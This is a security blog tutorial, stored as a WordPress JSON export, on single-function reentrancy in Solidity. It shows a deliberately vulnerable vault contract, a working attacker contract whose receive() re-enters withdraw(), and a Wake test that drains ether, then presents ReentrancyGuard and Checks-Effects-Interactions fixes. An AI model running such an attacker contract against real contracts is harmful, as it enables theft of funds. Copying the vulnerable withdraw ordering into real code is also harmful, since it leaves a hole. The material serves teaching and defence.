{"id":727,"date":"2024-06-20T14:51:06","date_gmt":"2024-06-20T12:51:06","guid":{"rendered":"https:\/\/ackee.xyz\/blog\/?p=727"},"modified":"2024-07-03T17:39:13","modified_gmt":"2024-07-03T15:39:13","slug":"single-function-reentrancy-attack","status":"publish","type":"post","link":"https:\/\/ackee.xyz\/blog\/single-function-reentrancy-attack\/","title":{"rendered":"Single Function Reentrancy Attack"},"content":{"rendered":"<h2><b>What is a reentrancy attack?<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">A reentrancy attack is very specific to smart contracts due to the nature of external calls. When a contract interacts with another contract through an external call, such as during a token transfer, the recipient contract can execute arbitrary code in response. This execution can lead to unexpected behaviors that the original contract programmer may not have anticipated.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">In a reentrancy attack, the recipient contract exploits the external call by recursively calling the function before the first invocation completes. This behaviors differs from simply calling the function once and can lead to security breaches. From the developer&#8217;s perspective, it is challenging to predict and imagine how such an execution might occur, making it difficult to prevent. There are many possible scenarios where reentrancy can be exploited. This document will provide a simple example of a reentrancy attack and how to prevent it.<\/span><\/p>\n<h2><b>Analysis of a single function reentrancy attack<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">This is the source code of a simple vault contract that allows users to deposit and withdraw funds. The <code class=\"codehl\">withdraw<\/code> function is vulnerable to a reentrancy attack.<\/span><\/p>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\ncontract Vault {\n    mapping(address =&gt; uint256) private balances;\n\n    function deposit() external payable {\n        balances[msg.sender] += msg.value;\n    }\n    function withdraw() public {\n        uint256 amount = balances[msg.sender];\n        msg.sender.call{value: amount}(&quot;&quot;);\n        balances[msg.sender] = 0 ;\n    }\n}<\/code><\/pre>\n<p><span style=\"font-weight: 400;\">There is an external call to the <code class=\"codehl\">msg.sender<\/code> in the <code class=\"codehl\">withdraw<\/code> function. This is the point where the reentrancy attack can occur. The attacker can call the <code class=\"codehl\">withdraw<\/code> function multiple times before the first invocation completes, leading to unexpected behaviors.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Let&#8217;s analyze the code execution of the <code class=\"codehl\">withdraw<\/code> function. The problem with this function is that it updates the value after an external call. Below is how the <code class=\"codehl\">withdraw<\/code> function works:<\/span><\/p>\n<pre><code class=\"language-solidity\">uint256 amount = balances[msg.sender];\n(bool success,) = msg.sender.call{value: amount}(&quot;&quot;);\nrequire(success, &quot;Failed to send Ether&quot;);\nbalances[msg.sender] = 0;<\/code><\/pre>\n<p><span style=\"font-weight: 400;\">So, we can say that calling the <code class=\"codehl\">withdraw<\/code> function is equivalent to calling two functions:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">calculate the amount and send ETH.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">set the balance to 0.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The requirement is that after the first function is completed, we can execute some other but eventually the second function must be executed.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">From the above analysis, we can understand the concept of reentrancy, which involves calling the function again within the user&#8217;s external function.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Let&#8217;s consider the following scenario: This is allowed because the execution satisfies the above requirement. But something went wrong.<\/span><\/p>\n<pre><code class=\"language-solidity\">uint256 amount = balances[msg.sender];\n(bool success,) = msg.sender.call{value: amount}(&quot;&quot;);\n   {\n    \/\/ This block of executed as reentrant\n    uint256 amount = balances[msg.sender];\n    (bool success,) = msg.sender.call{value: amount}(&quot;&quot;);\n    require(success, &quot;Failed to send Ether&quot;);\n    balances[msg.sender] = 0;\n    }\nrequire(success, &quot;Failed to send Ether&quot;);\nbalances[msg.sender] = 0;<\/code><\/pre>\n<p>The result of this execution is that the user received twice the amount of ETH they held in this contract as a balance. However, the execution was still successful. Similarly, we can do 10 times or 100 times. The user can receive 100 times the amount of ETH they held in this contract as a balance.<\/p>\n<div>\n<div>\n<h2><b>Attack example<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">This is an example of an attacker contract.<\/span><\/p>\n<\/div>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\ninterface Vault {\n    function deposit() external payable;\n    function withdraw() external;\n}\n\ncontract Attacker {\n    Vault vault;\n    uint256 amount = 1 ether;\n\n    uint256 count = 0;\n\n    constructor(Vault _vault) payable {\n        vault = Vault(_vault);\n    }\n\n    \/**\n     * @notice trigger withdraw\n     *\/\n    function attack() public {\n        vault.deposit{value: address(this).balance}();\n        if (address(vault).balance &gt;= amount) {\n            vault.withdraw();\n        }\n    }\n\n    \/**\n     * @notice withdraw call call repeatly but they did not update value = balance[msg.sender].\n     * so this function obtain value of ether repeatly.\n     *\/\n    receive() external payable {\n        if (count&lt; 5) {\n            count++;\n            vault.withdraw();\n        }\n    }\n}<\/code><\/pre>\n<\/div>\n<p>&nbsp;<\/p>\n<div>\n<div>\n<p><span style=\"font-weight: 400;\">This is the test file of Wake.<\/span><\/p>\n<\/div>\n<\/div>\n<pre><code class=\"language-solidity\">from wake.testing import *\n\nfrom pytypes.contracts.singlefunctionreentrancy.vault import Vault\nfrom pytypes.contracts.singlefunctionreentrancy.attacker import Attacker\n\n@default_chain.connect()\ndef test_default():\n    print(&quot;---------------------Single Function Reentrancy---------------------&quot;)\n    victim = default_chain.accounts[0]\n    attacker = default_chain.accounts[1]\n    \n    vault = Vault.deploy(from_=victim)\n\n    vault.deposit(from_=victim, value=&quot;10 ether&quot;)\n    attacker_contract = Attacker.deploy(vault.address, from_=attacker, value=&quot;1 ether&quot;)\n\n    print(&quot;Vault balance   : &quot;, vault.balance)\n    print(&quot;Attacker balance: &quot;, attacker_contract.balance)\n\n    print(&quot;----------Attack----------&quot;)\n    tx = attacker_contract.attack(from_=attacker)\n    print(tx.call_trace)\n\n    print(&quot;Vault balance   : &quot;, vault.balance)\n    print(&quot;Attacker balance: &quot;, attacker_contract.balance)<\/code><\/pre>\n<p>&nbsp;<\/p>\n<div>\n<div>\n<p><span style=\"font-weight: 400;\">We deploy a vault and store 10 ether and deploy an attacker contract with 1 ETH.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">by calling the <code class=\"codehl\">attacker_contract.attack()<\/code> function in Python test code, the attack function in the attacker contract is called.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">In the attack function, it deposits to the vault 1 ETH and withdraws from the vault. The withdraw function calls external calls to send ether to the attacker. so the receive function in the attacker contract is called. In the <code class=\"codehl\">receive()<\/code> function, it calls the <code class=\"codehl\">withdraw<\/code> function again.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">This is a call trace of the attack. The attacker contract has 1 ETH and the vault contract has 10 ETH. After 5 times of the <code class=\"codehl\">withdraw<\/code> function call recursively, the attacker contract has 6 ETH and the vault has 5 ETH.<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-733 size-full\" src=\"https:\/\/abchprod.wpengine.com\/wp-content\/uploads\/2024\/06\/image4.png\" alt=\"\" width=\"674\" height=\"335\" srcset=\"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/image4.png 674w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/image4-300x149.png 300w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/image4-370x184.png 370w\" sizes=\"auto, (max-width: 674px) 100vw, 674px\" \/><\/span><\/p>\n<p>This is a single-function reentrancy attack. Most other reentrancy attacks are based on this scenario. However, due to the complexity of the project and the function structure, it is difficult to detect.<\/p>\n<\/div>\n<\/div>\n<div>\n<h2><b>How to prevent a reentrancy attack<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">There are several ways to prevent this attack. These prevention methods work for the single-function reentrancy attack but are not guaranteed to prevent all reentrancy attacks.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Here are some common methods:<\/span><\/p>\n<h3><b>ReentrancyGuard<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">By using ReentrancyGuard, it is impossible to reenter the contract.<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/p>\n<\/div>\n<pre><code class=\"language-solidity\">import &quot;@openzeppelin\/contracts\/security\/ReentrancyGuard.sol&quot;;\n\ncontract Vault is ReentrancyGuard {\n    mapping(address =&gt; uint256) private balances;\n\n    function deposit() external payable nonReentrant {\n        balances[msg.sender] += msg.value;\n    }\n    \n    function withdraw() public nonReentrant {\n        uint256 amount = balances[msg.sender];\n        msg.sender.call{value: amount}(&quot;&quot;);\n        balances[msg.sender] = 0;\n    }\n}<\/code><\/pre>\n<p>&nbsp;<\/p>\n<div>\n<div>\n<p>However, we will find out that it is not a sufficient solution for all types of reentrancies.<\/p>\n<h3><b>Checks-Effects-Interactions<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">The best prevention method is to complete the state changes of the function first and then call the external function. As described above, calling a function can be viewed as two separate function calls. By ensuring the second part of the function does nothing, it disables the attack.<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/p>\n<\/div>\n<\/div>\n<pre><code class=\"language-solidity\">function withdraw() public {\n    uint256 amount = balances[msg.sender];\n    balances[msg.sender] = 0;\n    msg.sender.call{value: amount}(&quot;&quot;);\n}<\/code><\/pre>\n<h2><b>Conclusion<\/b><\/h2>\n<div>\n<div>\n<p>In conclusion, understanding and preventing reentrancy vulnerabilities is crucial for developing secure smart contracts. Even though there are other types of reentrancy attacks, for example, ReentrancyGuard is insufficient to completely prevent some contracts. It is important to understand the concept of reentrancy and how it can be exploited.<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">We have a <a title=\"Reentrancy Examples Github Repository\" href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\" target=\"_blank\" rel=\"noopener\">Reentrancy Examples Github Repository<\/a>. There are other types of reentrancy attacks and also protocol-specific reentrancies.\u00a0<\/span><\/p>\n<\/div>\n<p><span data-preserver-spaces=\"true\">We will soon release a series of research articles describing other types of reentrancy and protocol-specific reentrancy attacks with examples including prevention practices.<\/span><\/p>\n<div>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Cross function Reentrancy Attack<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Cross contract Reentrancy Attack<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Read only Reentrancy Attack<\/span><\/li>\n<li aria-level=\"1\">Cross chain Reentrancy Attack<\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Reentrancy Attack in ERC-721<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Reentrancy Attack in ERC-777<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Reentrancy Attack in ERC-1155<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Reentrancy Attack in FlashLoan<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">By writing a reentrancy attack you can learn how it works and how to prevent them.<\/span><\/p>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>What is a reentrancy attack? A reentrancy attack is very specific to smart contracts due to the nature of external calls. When a contract interacts with another contract through an external call, such as during a token transfer, the recipient contract can execute arbitrary code in response. This execution can lead to unexpected behaviors that the original contract programmer may not have&hellip;<\/p>\n","protected":false},"author":24,"featured_media":769,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[61,10,84,63,103],"tags":[14,86,138],"class_list":["post-727","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-education","category-ethereum","category-hacks","category-tutorial","category-wake","tag-exploit","tag-hack","tag-reentrancy-attack"],"aioseo_notices":[],"featured_image_src":"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/1-1-600x400.png","featured_image_src_square":"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/1-1-600x600.png","author_info":{"display_name":"Naoki Yoshida","author_link":"https:\/\/ackee.xyz\/blog\/author\/naoki-yoshida\/"},"_links":{"self":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts\/727","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/users\/24"}],"replies":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/comments?post=727"}],"version-history":[{"count":0,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts\/727\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/media\/769"}],"wp:attachment":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/media?parent=727"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/categories?post=727"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/tags?post=727"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}